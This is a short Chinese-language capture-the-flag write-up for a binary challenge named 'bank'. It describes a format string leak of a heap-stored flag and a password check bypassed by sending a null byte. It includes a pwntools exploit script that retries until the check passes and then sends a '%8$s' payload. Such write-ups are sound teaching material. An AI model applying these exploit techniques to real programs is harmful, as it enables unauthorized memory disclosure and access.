bank

最直观就是格式化字符串漏洞,用来读取堆上的 flag :

image-20210506201801753

进入分支需要经过一个 strcmp 的校验,这里的写法是:if ( !strcmp(s1, password) ) ,需要返回值是 0 ,多了个取反符号,用截断绕不过去

问题是出在生成密码的地方,生成密码后用 fgets 读入,都是 gets 家族的函数,遇到 \n 就停止输入,当生成的密码首位是 \n ,那么密码全为 0x00 。一开始没发现,正常时用 read 读入就没有这个问题。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']


elf = ELF("./bank")

# gdb.attach(p,"b *0x4013BF")
# gdb.attach(p,"b *0x40130C")

def exp():
p = process("./bank")
p.recvuntil(":\n")
p.sendline('skye')
p.recvuntil(":\n")
p.sendline('\x00')
if("wrong" in p.recv()):
p.close()
else:
p.sendline('yes')
sleep(0.2)
p.sendline('%8$s')
p.interactive()

while True:
exp()